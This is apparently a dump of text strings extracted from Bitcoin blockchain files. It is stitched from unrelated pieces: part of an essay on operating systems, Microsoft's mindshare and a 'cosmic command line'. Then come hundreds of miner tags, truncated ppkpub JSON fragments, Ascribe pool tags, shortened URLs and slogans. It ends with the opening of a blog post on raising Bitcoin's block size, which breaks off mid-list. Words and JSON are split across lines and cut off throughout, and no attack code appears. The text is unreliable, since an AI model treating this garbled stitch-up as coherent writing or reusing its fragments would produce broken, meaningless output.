Lego Mindstorms--require pieces of software called drivers. Likewise,
video cards and (to a lesser extent) monitors need drivers. Even the
different types of motherboards on the market relate to the OS in
different ways, and separate code is required for each one. All of
this hardware-specific code must not only written but also tested,
debugged, upgraded, maintained, and supported. Because the hardware
market has become so vast and complicated, what really determines an
OS's fate is not how good the OS is technically, or how much it costs,
but rather the availability of hardware-specific code. Linux hackers
have to write that code themselves, and they have done an amazingly good
job of keeping up to speed. Be, Inc. has to write all their own drivers,
though as BeOS has begun gathering momentum, third-party developers have
begun to contribute drivers, which are available on Be's web site.
But Microsoft owns the high ground at the moment, because it doesn't have
to write its own drivers. Any hardware maker bringing a new video card
or peripheral device to market today knows that it will be unsalable
unless it comes with the hardware-specific code that will make it work
under Windows, and so each hardware maker has accepted the burden of
creating and maintaining its own library of drivers.
Mined by f2poolscant
u=https://cpr.sm/G1tq_7HBK4
Mined by AntPool nmg0&
Mined by AntPool bj2/
In the Beginning was the Command Line - Part 6/6
MINDSHARE
The U.S. Government's assertion that Microsoft has a monopoly in the OS
market might be the most patently absurd claim ever advanced by the legal
mind. Linux, a technically superior operating system, is being given
away for free, and BeOS is available at a nominal price. This is simply
a fact, which has to be accepted whether or not you like Microsoft.
Microsoft is really big and rich, and if some of the government's
witnesses are to be believed, they are not nice guys. But the accusation
of a monopoly simply does not make any sense.
What is really going on is that Microsoft has seized, for the time being,
a certain type of high ground: they dominate in the competition for
mindshare, and so any hardware or software maker who wants to be taken
seriously feels compelled to make a product that is compatible with their
operating systems. Since Windows-compatible drivers get written by the
hardware makers, Microsoft doesn't have to write them; in effect, the
hardware makers are adding new components to Windows, making it a more
capable OS, without charging Microsoft for the service. It is a very good
position to be in. The only way to fight such an opponent is to have an
army of highly competetent coders who write equivalent drivers for free,
which Linux does.
But possession of this psychological high ground is different from a
monopoly in any normal sense of that word, because here the dominance has
nothing to do with technical performance or price. The old robber-baron
monopolies were monopolies because they physically controlled means of
production and/or distribution. But in the software business, the means
of production is hackers typing code, and the means of distribution is
the Internet, and no one is claiming that Microsoft controls those.
Here, instead, the dominance is inside the minds of people who buy
software. Microsoft has power because people believe it does. This
power is very real. It makes lots of money. Judging from recent legal
proceedings in both Washingtons, it would appear that this power and
this money have inspired some very peculiar executives to come out and
work for Microsoft, and that Bill Gates should have administered saliva
tests to some of them before issuing them Microsoft ID cards.
But this is not the sort of power that fits any normal definition of
the word "monopoly," and it's not amenable to a legal fix. The courts
may order Microsoft to do things differently. They might even split the
company up. But they can't really do anything about a mindshare monopoly,
short of taking every man, woman, and child in the developed world and
subjecting them to a lengthy brainwashing procedure.
Mindshare dominance is, in other words, a really odd sort of beast,
something that the framers of our antitrust laws couldn't possibly have
imagined. It looks like one of these modern, wacky chaos-theory phenomena,
a complexity thing, in which a whole lot of independent but connected
entities (the world's computer users), making decisions on their own,
according to a few simple rules of thumb, generate a large phenomenon
(total domination of the market by one company) that cannot be made sense
of through any kind of rational analysis. Such phenomena are fraught
with concealed tipping-points and all a-tangle with bizarre feedback
loops, and cannot be understood; people who try, end up (a) going crazy,
(b) giving up, (c) forming crackpot theories, or (d) becoming high-paid
chaos theory consultants.
Now, there might be one or two people at Microsoft who are dense enough
to believe that mindshare dominance is some kind of stable and enduring
position. Maybe that even accounts for some of the weirdos they've hired
in the pure-business end of the operation, the zealots who keep getting
hauled into court by enraged judges. But most of them must have the
wit to understand that phenomena like these are maddeningly unstable,
and that there's no telling what weird, seemingly inconsequential event
might cause the system to shift into a radically different configuration.
To put it another way, Microsoft can be confident that Thomas Penfield
Jackson will not hand down an order that the brains of everyone in
the developed world are to be summarily re-programmed. But there's no
way to predict when people will decide, en masse, to re-program their
own brains. This might explain some of Microsoft's behavior, such as
their policy of keeping eerily large reserves of cash sitting around,
and the extreme anxiety that they display whenever something like Java
comes along.
I have never seen the inside of the building at Microsoft where the
top executives hang out, but I have this fantasy that in the hallways,
at regular intervals, big red alarm boxes are bolted to the wall. Each
contains a large red button protected by a windowpane. A metal hammer
dangles on a chain next to it. Above is a big sign reading: IN THE EVENT
OF A CRASH IN MARKET SHARE, BREAK GLASS.
What happens when someone shatters the glass and hits the button, I don't
know, but it sure would be interesting to find out. One imagines banks
collapsing all over the world as Microsoft withdraws its cash reserves,
and shrink-wrapped pallet-loads of hundred-dollar bills dropping from
the skies. No doubt, Microsoft has a plan. But what I would really like
to know is whether, at some level, their programmers might heave a big
sigh of relief if the burden of writing the One Universal Interface to
Everything were suddenly lifted from their shoulders.
THE RIGHT PINKY OF GOD
In his book The Life of the Cosmos, which everyone should read, Lee
Smolin gives the best description I've ever read of how our universe
emerged from an uncannily precise balancing of different fundamental
constants. The mass of the proton, the strength of gravity, the range
of the weak nuclear force, and a few dozen other fundamental constants
completely determine what sort of universe will emerge from a Big Bang. If
these values had been even slightly different, the universe would have
been a vast ocean of tepid gas or a hot knot of plasma or some other
basically uninteresting thing--a dud, in other words. The only way to get
a universe that's not a dud--that has stars, heavy elements, planets,
and life--is to get the basic numbers just right. If there were some
machine, somewhere, that could spit out universes with randomly chosen
values for their fundamental constants, then for every universe like
ours it would produce 10^229 duds.
Though I haven't sat down and run the numbers on it, to me this seems
comparable to the probability of making a Unix computer do something
useful by logging into a tty and typing in command lines when you have
forgotten all of the little options and keywords. Every time your right
pinky slams that ENTER key, you are making another try. In some cases
the operating system does nothing. In other cases it wipes out all of
your files. In most cases it just gives you an error message. In other
words, you get many duds. But sometimes, if you have it all just right,
the computer grinds away for a while and then produces something like
emacs. It actually generates complexity, which is Smolin's criterion
for interestingness.
Not only that, but it's beginning to look as if, once you get below
a certain size--way below the level of quarks, down into the realm of
string theory--the universe can't be described very well by physics as
it has been practiced since the days of Newton. If you look at a small
enough scale, you see processes that look almost computational in nature.
I think that the message is very clear here: somewhere outside of and
beyond our universe is an operating system, coded up over incalculable
spans of time by some kind of hacker-demiurge. The cosmic operating
system uses a command-line interface. It runs on something like a
teletype, with lots of noise and heat; punched-out bits flutter down
into its hopper like drifting stars. The demiurge sits at his teletype,
pounding out one command line after another, specifying the values of
fundamental constants of physics:
universe -G 6.672e-11 -e 1.602e-19 -h 6.626e-34 -protonmass 1.673e-27....
and when he's finished typing out the command line, his right pinky
hesitates above the ENTER key for an aeon or two, wondering what's going
to happen; then down it comes--and the WHACK you hear is another Big
Bang.
Now THAT is a cool operating system, and if such a thing were actually
made available on the Internet (for free, of course) every hacker
in the world would download it right away and then stay up all night
long messing with it, spitting out universes right and left. Most of
them would be pretty dull universes but some of them would be simply
amazing. Because what those hackers would be aiming for would be much
more ambitious than a universe that had a few stars and galaxies in
it. Any run-of-the-mill hacker would be able to do that. No, the way
to gain a towering reputation on the Internet would be to get so good
at tweaking your command line that your universes would spontaneously
develop life. And once the way to do that became common knowledge, those
hackers would move on, trying to make their universes develop the right
kind of life, trying to find the one change in the Nth decimal place
of some physical constant that would give us an Earth in which, say,
Hitler had been accepted into art school after all, and had ended up
his days as a street artist with cranky political opinions.
Even if that fantasy came true, though, most users (including myself,
on certain days) wouldn't want to bother learning to use all of those
arcane commands, and struggling with all of the failures; a few dud
universes can really clutter up your basement. After we'd spent a while
pounding out command lines and hitting that ENTER key and spawning
dull, failed universes, we would start to long for an OS that would
go all the way to the opposite extreme: an OS that had the power to
do everything--to live our life for us. In this OS, all of the possible
decisions we could ever want to make would have been anticipated by clever
programmers, and condensed into a series of dialog boxes. By clicking
on radio buttons we could choose from among mutually exclusive choices
(HETEROSEXUAL/HOMOSEXUAL). Columns of check boxes would enable us to
select the things that we wanted in our life (GET MARRIED/WRITE GREAT
AMERICAN NOVEL) and for more complicated options we could fill in little
text boxes (NUMBER OF DAUGHTERS: NUMBER OF SONS:).
Even this user interface would begin to look awfully complicated after
a while, with so many choices, and so many hidden interactions between
choices. It could become damn near unmanageable--the blinking twelve
problem all over again. The people who brought us this operating system
would have to provide templates and wizards, giving us a few default lives
that we could use as starting places for designing our own. Chances are
that these default lives would actually look pretty damn good to most
people, good enough, anyway, that they'd be reluctant to tear them open
and mess around with them for fear of making them worse. So after a few
releases the software would begin to look even simpler: you would boot
it up and it would present you with a dialog box with a single large
button in the middle labeled: LIVE. Once you had clicked that button,
your life would begin. If anything got out of whack, or failed to meet
your expectations, you could complain about it to Microsoft's Customer
Support Department. If you got a flack on the line, he or she would
tell you that your life was actually fine, that there was not a thing
wrong with it, and in any event it would be a lot better after the next
upgrade was rolled out. But if you persisted, and identified yourself
as Advanced, you might get through to an actual engineer.
What would the engineer say, after you had explained your problem,
and enumerated all of the dissatisfactions in your life? He would
probably tell you that life is a very hard and complicated thing;
that no interface can change that; that anyone who believes otherwise
is a sucker; and that if you don't like having choices made for you,
you should start making your own.
"! P2P is future! ppkpub.org->ppk:0R
C{"ap_list":["http://ppkpub.oR
"! rg/AP/"],"title":"Sample-1","autR
Mined by AntPool sc0
u=https://cpr.sm/5KeCHU_E2k
"! P2P is future! ppkpub.org->ppk:0R
C{"ap_list":["http://ppkpub.oR
"! rg/AP/"],"title":"SAMPLE-1","autR
"! P2P is future! ppkpub.org->ppk:0R
C{"ap_list":["http://ppkpub.oR
"! rg/AP/"],"title":"SAMPLE-3","autR
"! P2P is future! ppkpub.org->ppk:0R
C{"ap_list":["http://ppkpub.oR
"! rg/AP/"],"title":"SAMPLE-5","autR
Mined by AntPool bj78
Mined by AntPool sc12
'NOTHING BIG CAME OUT OF SOMETHING SMALL
"! P2P is future! ppkpub.org->ppk:0R
B{"ap_list":["http://ppkpub.oR
"! rg/AP/"],"title":"Block-1","authR
"! P2P is future! ppkpub.org->ppk:0R
B{"ap_list":["http://ppkpub.oR
"! rg/AP/"],"title":"Block-2","authR
"! P2P is future! ppkpub.org->ppk:0R
B{"ap_list":["http://ppkpub.oR
"! rg/AP/"],"title":"Block-3","authR
Follow the white rabbit.
Mined by AntPool bj2/
Mined by lz272202222
! P2P is future! ppkpub.org->ppk:0R
>{"ap_list":["http://ppkpub.oR
! rg/AP/"],"title":"158","auth":"2R
! P2P is future! ppkpub.org->ppk:0R
C{"ap_list":["http://ppkpub.oR
! rg/AP/"],"title":"rayliang","autR
u=https://cpr.sm/G1tq_7HBK4
}Mined by fusionminer
! P2P is future! ppkpub.org->ppk:0R
E{"ap_list":["http://ppkpub.oR
! rg/AP/"],"title":"NewWorld-1","aR
! P2P is future! ppkpub.org->ppk:0R
E{"ap_list":["http://ppkpub.oR
! rg/AP/"],"title":"NewWorld-3","aR
u=https://cpr.sm/G1tq_7HBK4x
u=https://cpr.sm/G1tq_7HBK4
Mined by bao105244124
Mined by AntPool bj2/
u=https://cpr.sm/G1tq_7HBK4po
Mined by AntPool bj0
xMined by f2poolscant
! P2P is future! ppkpub.org->ppk:0R
B{"ap_list":["http://ppkpub.oR
! rg/AP/"],"title":"Cyber-1","authR
! P2P is future! ppkpub.org->ppk:0R
A{"ap_list":["http://ppkpub.oR
! rg/AP/"],"title":"Cyber2","auth"R
! P2P is future! ppkpub.org->ppk:0R
C{"ap_list":["http://ppkpub.oR
! rg/AP/"],"title":"Cyber3-1","autR
Mined by AntPool sc12
! P2P is future! ppkpub.org->ppk:0R
>{"ap_list":["http://ppkpub.oR
! rg/AP/"],"title":"ZYX","auth":"2R
Mined by AntPool usa1%
! P2P is future! ppkpub.org->ppk:0R
?{"ap_list":["http://ppkpub.oR
! rg/AP/"],"title":"ZYX2","auth":"R
Mined by AntPool sc12
:;! P2P is future! ppkpub.org->ppk:0R
D{"ap_list":["http://ppkpub.oR
:;! rg/AP/"],"title":"
+https://mining.bitcoinaffiliatenetwork.com/
u=https://cpr.sm/_K_7g31bPZ
http://omaks78.wix.com/1234
:;! P2P is future! ppkpub.org->ppk:0R
C{"ap_list":["http://ppkpub.oR
:;! rg/AP/"],"title":"Wonder-1","autR
:;! P2P is future! ppkpub.org->ppk:0R
C{"ap_list":["http://ppkpub.oR
:;! rg/AP/"],"title":"Wonder-2","autR
:;! P2P is future! ppkpub.org->ppk:0R
C{"ap_list":["http://ppkpub.oR
:;! rg/AP/"],"title":"Wonder-3","autR
:;! P2P is future! ppkpub.org->ppk:0R
C{"ap_list":["http://ppkpub.oR
:;! rg/AP/"],"title":"Wonder-5","autR
Mined by baoyufan2011
Operation "rakushka" :)
"! P2P is future! ppkpub.org->ppk:0R
B{"ap_list":["http://ppkpub.oR
"! rg/AP/"],"title":"elite-1","authR
Mined by AntPool bj78
"! P2P is future! ppkpub.org->ppk:0R
B{"ap_list":["http://ppkpub.oR
"! rg/AP/"],"title":"elite-3","authR
Mined by xiaoyue8008
ASCRIBESPOOLREGISTER
"! P2P is future! ppkpub.org->ppk:0R
B{"ap_list":["http://ppkpub.oR
"! rg/AP/"],"title":"elite-1","authR
"! P2P is future! ppkpub.org->ppk:0R
B{"ap_list":["http://ppkpub.oR
"! rg/AP/"],"title":"elite-2","authR
"! P2P is future! ppkpub.org->ppk:0R
B{"ap_list":["http://ppkpub.oR
"! rg/AP/"],"title":"elite-3","authR
"! P2P is future! ppkpub.org->ppk:0R
B{"ap_list":["http://ppkpub.oR
"! rg/AP/"],"title":"elite-4","authR
Mined by AntPool nmg0&
p[! P2P is future! ppkpub.org->ppk:0R
>{"ap_list":["http://ppkpub.oR
p[! rg/AP/"],"title":"ZOO","auth":"2R
Mined by AntPool usa1%
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool bj78
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool sc12
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool usa1%
Mined by AntPool sc12
ASCRIBESPOOLREGISTER
Mined by AntPool bj0
Mined by AntPool sc12
Mined by AntPool usa1%
Welcome to the real world.
Mined by AntPool sc0
Mined by AntPool sc12
Mined by AntPool bj69
Mined by AntPool sc0
Mined by AntPool usa1%
u=https://cpr.sm/y6cvvz3Azt8]
u=https://cpr.sm/y6cvvz3Azt8]
Mined by AntPool bj0
u=https://cpr.sm/lzpDfBzzSA
Mined by AntPool bj5/
ASCRIBESPOOLREPLENISH
u=https://cpr.sm/lzpDfBzzSAN
ASCRIBESPOOLREGISTER
ASCRIBESPOOLTRANSFER
Time is always against us.
ASCRIBESPOOLREPLENISH
u=https://cpr.sm/y6cvvz3Azt
ASCRIBESPOOLTRANSFER
u=https://cpr.sm/lzpDfBzzSA
Mined by AntPool sc12
Mined by AntPool sc0
Mined by AntPool sc0
?Mined by f2poolscant
Mined by AntPool bj78
! P2P is future! ppkpub.org->ppk:0R
K{"ap_list":["http://ppkpub.oR
! rg/AP/"],"title":"Silicon ValleyR
! P2P is future! ppkpub.org->ppk:0R
K{"ap_list":["http://ppkpub.oR
! rg/AP/"],"title":"Silicon ValleyR
Mined by AntPool bj2/
u=https://cpr.sm/lzpDfBzzSA~
Mined by f2poolhaobtc
! P2P is future! ppkpub.org->ppk:0R
A{"ap_list":["http://ppkpub.oR
! rg/AP/"],"title":"
Mined by AntPool sc0
u=https://cpr.sm/_K_7g31bPZX
u=https://cpr.sm/_K_7g31bPZ
Mined by AntPool sc0
@Mined by liangyong2014
Mined by AntPool sc12
Mined by f2poolscant
! P2P is future! ppkpub.org->ppk:0R
H{"ap_list":["http://ppkpub.oR
! rg/AP/"],"title":"We love P2P-1"R
! P2P is future! ppkpub.org->ppk:0R
H{"ap_list":["http://ppkpub.oR
! rg/AP/"],"title":"We love P2P-2"R
! P2P is future! ppkpub.org->ppk:0R
H{"ap_list":["http://ppkpub.oR
! rg/AP/"],"title":"We love P2P-3"R
! P2P is future! ppkpub.org->ppk:0R
H{"ap_list":["http://ppkpub.oR
! rg/AP/"],"title":"We love P2P-4"R
Mined by AntPool usa1%
u=https://cpr.sm/SUU1jYtZw28]
Mined by zhangjing111
$/mining.bitcoinaffiliatenetwork.com/
Follow the white rabbit.
Mined by AntPool bj2/
Mined by AntPool sc0
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
Welcome to the real world.
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
Mined by AntPool sc12
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
Welcome to the real world.
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREGISTER
ASCRIBESPOOLTRANSFER
! P2P is future! ppkpub.org->ppk:0R
]{"ap_list":["http://ppkpub.oR
! rg/AP/"],"title":"1GV6PLMntWkpGNR
! 3qvF4VwgnjAP2octu763","auth":"0"R
! P2P is future! ppkpub.org->ppk:0R
D{"ap_list":["http://ppkpub.oR
! rg/AP/"],"title":"Landscape","auR
Mined by sww11005088
Mined by AntPool usa1%
Mined by AntPool usa1%
:;! P2P is future! ppkpub.org->ppk:0R
?{"ap_list":["http://ppkpub.oR
:;! rg/AP/"],"title":"Test","auth":"R
Mined by klminer2014
Mined by AntPool sc12
Mined by AntPool sz0$
ASCRIBESPOOLREGISTER
Mined by AntPool bj78
:;! P2P is future! ppkpub.org->ppk:0R
@{"ap_list":["http://ppkpub.oR
:;! rg/AP/"],"title":"Jinsu","auth":R
Mined by f2poolscant
#The truth is that there is no spoon
! P2P is future! ppkpub.org->ppk:0R
D{"ap_list":["http://ppkpub.oR
! rg/AP/"],"title":"Monster-2","auR
! P2P is future! ppkpub.org->ppk:0R
D{"ap_list":["http://ppkpub.oR
! rg/AP/"],"title":"Monster-4","auR
! P2P is future! ppkpub.org->ppk:0R
@{"ap_list":["http://ppkpub.oR
! rg/AP/"],"title":"XCP-1","auth":R
Mined by qq772641164
Mined by AntPool bj69
Mined by AntPool sc12
ascribespoolverbtest
u=https://cpr.sm/lzpDfBzzSA
d-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by AntPool usa1%
$/mining.bitcoinaffiliatenetwork.com/
'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by AntPool bj0
u=http://n.opn.as/23,n
Mined by AntPool bj0
Mined by AntPool sc12
Mined by haosen3310363
Mined by AntPool nmg0&
...BUT SWEAT MEMORIES REMAIN
u=https://cpr.sm/lzpDfBzzSA
Mined by AntPool bj2/
Mined by AntPool sz0$
Mined by AntPool bj5/
Welcome to the real world.
Mined by AntPool bj2/
'NOTHING BIG CAME OUT OF SOMETHING SMALL
What is the Banking? Control.
File: blk00257.txt
Mined by gf406224454
! P2P is future! ppkpub.org->ppk:0R
A{"ap_list":["http://ppkpub.oR
! rg/AP/"],"title":"XCP1-1","auth"R
! P2P is future! ppkpub.org->ppk:0R
A{"ap_list":["http://ppkpub.oR
! rg/AP/"],"title":"XCP2-1","auth"R
Mined by AntPool bj78
! P2P is future! ppkpub.org->ppk:0R
C{"ap_list":["http://ppkpub.oR
! rg/AP/"],"title":"Spring-1","autR
Mined by AntPool sc12
! P2P is future! ppkpub.org->ppk:0R
C{"ap_list":["http://ppkpub.oR
! rg/AP/"],"title":"Spring-3","autR
! P2P is future! ppkpub.org->ppk:0R
D{"ap_list":["http://ppkpub.oR
! rg/AP/"],"title":"HotSummer","auR
:;! PPK-BETAPeer-Peer-network publicR
E{"ap_list":["http://ppkpub.oR
:;! rg/AP/"],"title":"Beta
P! P2P is future! ppkpub.org->ppk:0R
B{"ap_list":["http://ppkpub.oR
P! rg/AP/"],"title":"Diamond","authR
P! P2P is future! ppkpub.org->ppk:0R
={"ap_list":["http://ppkpub.oR
P! rg/AP/"],"title":"A8","auth":"0"R
Mined by AntPool bj2/
Mined by AntPool nmg0&
Mined by AntPool sc0
Mined by f2poolhaobtc
! P2P is future! ppkpub.org->ppk:0R
>{"ap_list":["http://ppkpub.oR
! rg/AP/"],"title":"WSW","auth":"0R
Mined by baoyufan2011
u=https://cpr.sm/hVrS39_PeQ
! P2P is future! ppkpub.org->ppk:0R
E{"ap_list":["http://ppkpub.oR
! rg/AP/"],"title":"Perfect100","aR
! P2P is future! ppkpub.org->ppk:0R
D{"ap_list":["http://ppkpub.oR
! rg/AP/"],"title":"
Mined by AntPool bj78
Mined by AntPool bj78
P! P2P is future! ppkpub.org->ppk:0R
P! U351495.1163 R
>{"ap_list":["http://ppkpub.orR
P! g/AP/"],"title":"LHF","auth":"0"R
u=https://cpr.sm/0XKey5hAiO8]
What is the Banking? Control.
Mined by AntPool usa1%
+https://mining.bitcoinaffiliatenetwork.com/
u=https://cpr.sm/0XKey5hAiO
Mined by AntPool bj2/
Mined by zheng863518
Mined by meichuanlin
Mined by AntPool bj0
}&HE WHO IS GIVEN EVERYTHING HAS NOTHING
Mined by aa254907107
Mined by AntPool bj78
Operation "rakushka" :)
Mined by AntPool bj5/
Mined by hlj18341288819
Mined by AntPool bj0
u=https://cpr.sm/UcI312Ry5x
Mined by f2poolhaobtc
'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by AntPool sc0
Mined by xiaojianying
u=https://chroma.io/a/assetdefx
Mined by AntPool sc12
Mined by AntPool bj78
Mined by AntPool nmg0&
ASCRIBESPOOLREPLENISH
u=http://bjn.me//a/0Wvr93KplHM
u=http://bjn.me//a/0Wvr93KplHMh
ASCRIBESPOOLREGISTER
ASCRIBESPOOLTRANSFER
u=http://bj.me//a/lyJJEyU5aX0
Mined by sll13781075758
Mined by AntPool bj78
v'NOTHING BIG CAME OUT OF SOMETHING SMALL
u=https://chroma.io/a/assetdefx
u=https://cpr.sm/hVrS39_PeQ
u=https://cpr.sm/hVrS39_PeQ@
Mined by AntPool sc12
u=https://chroma.io/a/assetdefx
Mined by AntPool bj69
DMined by f2poolhaobtc
Mined by AntPool bj2/
u=https://chroma.io/a/assetdefx
u=https://goo.gl/YiN5fs(
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u=https://goo.gl/urBkIK
u=https://goo.gl/hR2mAV
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u=https://goo.gl/Sh4BvV
u=https://chroma.io/a/assetdef
u=https://goo.gl/2jiyX9(
u=https://goo.gl/2Itrrn
u=https://goo.gl/CwWG16
u=https://goo.gl/t0QB4p
Mined by AntPool bj5/
u=https://cpr.sm/h-gGwVBvDU
u=https://goo.gl/QJ1HK5
u=https://chroma.io/a/assetdefX
u=https://goo.gl/n9FUmd
u=https://goo.gl/UQvgeu(
u=https://goo.gl/snIIYL(
u=https://goo.gl/1xyT47(
Mined by AntPool bj0
Mined by AntPool bj78
Mined by AntPool bj5/
u=https://goo.gl/cbl5rKp
u=https://goo.gl/ipeKVF
Welcome to the real world.
Mined by jiangbin1988
BSidesROC 2015\nSatu
rday April 25th 2015
\nThanks to:\nSecure
Network Technologie
s\nGray Castle Secur
ity\nNuand\nIntrepid
us group\nSiege tech
nologies\nSimple tec
h innovations\nthe a
nswer you want:\nWe
+https://mining.bitcoinaffiliatenetwork.com/
Mined by AntPool usa1%
YMined by f2poolscant
u=https://cpr.sm/vBQ2pr8syV0
u=https://cpr.sm/vBQ2pr8syV
u=https://cpr.sm/FGXOR4iydjx
u=https://cpr.sm/vBQ2pr8syV`
ASCRIBESPOOLREGISTER
Mined by f2poolhaobtc
Mined by AntPool sc12
Mined by AntPool sc12
Mined by AntPool bj78
Mined by zhenglin2014
Mined by zhangjing111
u=https://cpr.sm/1BHJL-kFZG
u=https://cpr.sm/hVrS39_PeQ
$/mining.bitcoinaffiliatenetwork.com/
JEMined by f2poolscant
Mined by AntPool sc12
u=https://cpr.sm/S6ugQ6KsWh8O-
Mined by AntPool sc0
Mined by AntPool sc0
Mined by aa254907107
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Mined by AntPool sc12
ASCRIBESPOOLREGISTER
Mined by AntPool sc12
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
#j!ASCRIBESPOOLREPLENISH150416150430
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool sc0
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLLOAN150416150430
Mined by xu354698228
Mined by AntPool sc12
Mined by AntPool bj2/
Mined by AntPool bj69
ASCRIBESPOOLREPLENISH
Mined by AntPool sz0$
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREGISTER
Mined by AntPool bj2/
Mined by guo805866068
Mined by AntPool sc12
ASCRIBESPOOLREGISTER
Mined by AntPool sc12
Mined by AntPool usa1%
Mined by AntPool bj0
u=https://goo.gl/D3MNY9
u=https://goo.gl/C8NGXF
u=https://goo.gl/H0NzmO0v
u=https://goo.gl/oEq5EE
Mined by AntPool sc12
u=https://goo.gl/aa93J4
u=https://goo.gl/PFCZYx
u=https://goo.gl/ZI1ZEg
Mined by songguangjun
u=https://goo.gl/KBzOhS
u=https://goo.gl/KBzOhS
u=https://goo.gl/R0VwP5
Mined by AntPool sc12
Mined by AntPool sc12
u=https://cpr.sm/ZKcPQ7ctB4
u=https://cpr.sm/ZKcPQ7ctB4
Mined by AntPool sc12
NMined by f2poolhaobtc
Mined by AntPool usa1%
Mined by AntPool usa1%
Mined by AntPool sc0
Mined by AntPool usa1%
Mined by AntPool usa1%
Mined by AntPool sc0
Mined by pengsheng02
Mined by AntPool sc0
Mined by AntPool sc0
Mined by lengyelalex3
Mined by AntPool bj2/
Mined by AntPool usa1%
Mined by AntPool usa1%
Mined by AntPool usa1%
Mined by AntPool usa1%
UMined by f2poolscant
Mined by chenxiaolei11
Mined by AntPool usa1%
Mined by AntPool sz0$
Mined by AntPool bj69
File: blk00258.txt
Mined by AntPool sc0
Mined by AntPool usa1%
Mined by qq353335066
u=https://cpr.sm/h-gGwVBvDU
u=https://cpr.sm/_K_7g31bPZ
u=https://cpr.sm/aNFVwtoMDo
u=https://cpr.sm/aNFVwtoMDo
u=https://cpr.sm/aNFVwtoMDo8k
u=https://cpr.sm/aNFVwtoMDo
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Mined by AntPool bj2
Mined by AntPool bj5&
Mined by chenguanghai
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Mined by AntPool sc0
Mined by AntPool bj5&
Mined by AntPool usa1%
Mined by manzixun130204
Mined by zhenglin2014
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ASCRIBESPOOLREGISTER
Document Hash: 30906
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VIA address: VxHa7SE
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Recu PF - by Infoli
Mined by AntPool sc0
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Mined by AntPool sc0
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Mined by AntPool sc0
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ASCRIBESPOOLREGISTER
Mined by AntPool sc0
Mined by haosen3310363
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Mined by sunyuchichi
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Mined by AntPool bj0
Mined by AntPool bj6+
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ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
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ASCRIBESPOOLREPLENISH
Mined by AntPool sc0
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool usa1%
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#j!ASCRIBESPOOLREPLENISH150501150503
ASCRIBESPOOLLOAN150501150503
ASCRIBESPOOLTRANSFER
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Mined by AntPool sc0
ASCRIBESPOOLTRANSFER
Mined by AntPool sc0
Mined by AntPool sc0
Mined by AntPool sc0
Mined by AntPool sc0
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Thanks! Go barefoot!
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Thank you, Hyena, fo
r nice service: http
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elp colorize the tex
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Josh applied to Circ
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ntralized cryptocurr
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k.org/index.php?topi
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etween users by uti
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Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
